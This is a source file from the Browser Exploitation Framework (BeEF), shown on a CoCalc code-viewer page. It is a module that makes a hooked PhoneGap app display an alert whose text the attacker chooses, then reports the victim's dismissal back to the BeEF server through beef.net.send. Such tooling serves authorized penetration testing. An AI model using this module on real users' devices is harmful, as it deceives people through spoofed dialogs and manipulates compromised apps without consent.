Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_alert_user/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// Phonegap_alert_user
8
//
9
beef.execute(function() {
10
var title = "<%== @title %>";
11
var message = "<%== @message %>";
12
var buttonName = "<%== @buttonName %>";
13
14
15
function onAlert() {
16
result = "Alert dismissed";
17
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
18
}
19
20
navigator.notification.alert(
21
message,
22
onAlert,
23
title,
24
buttonName
25
);
26
27
});
28
29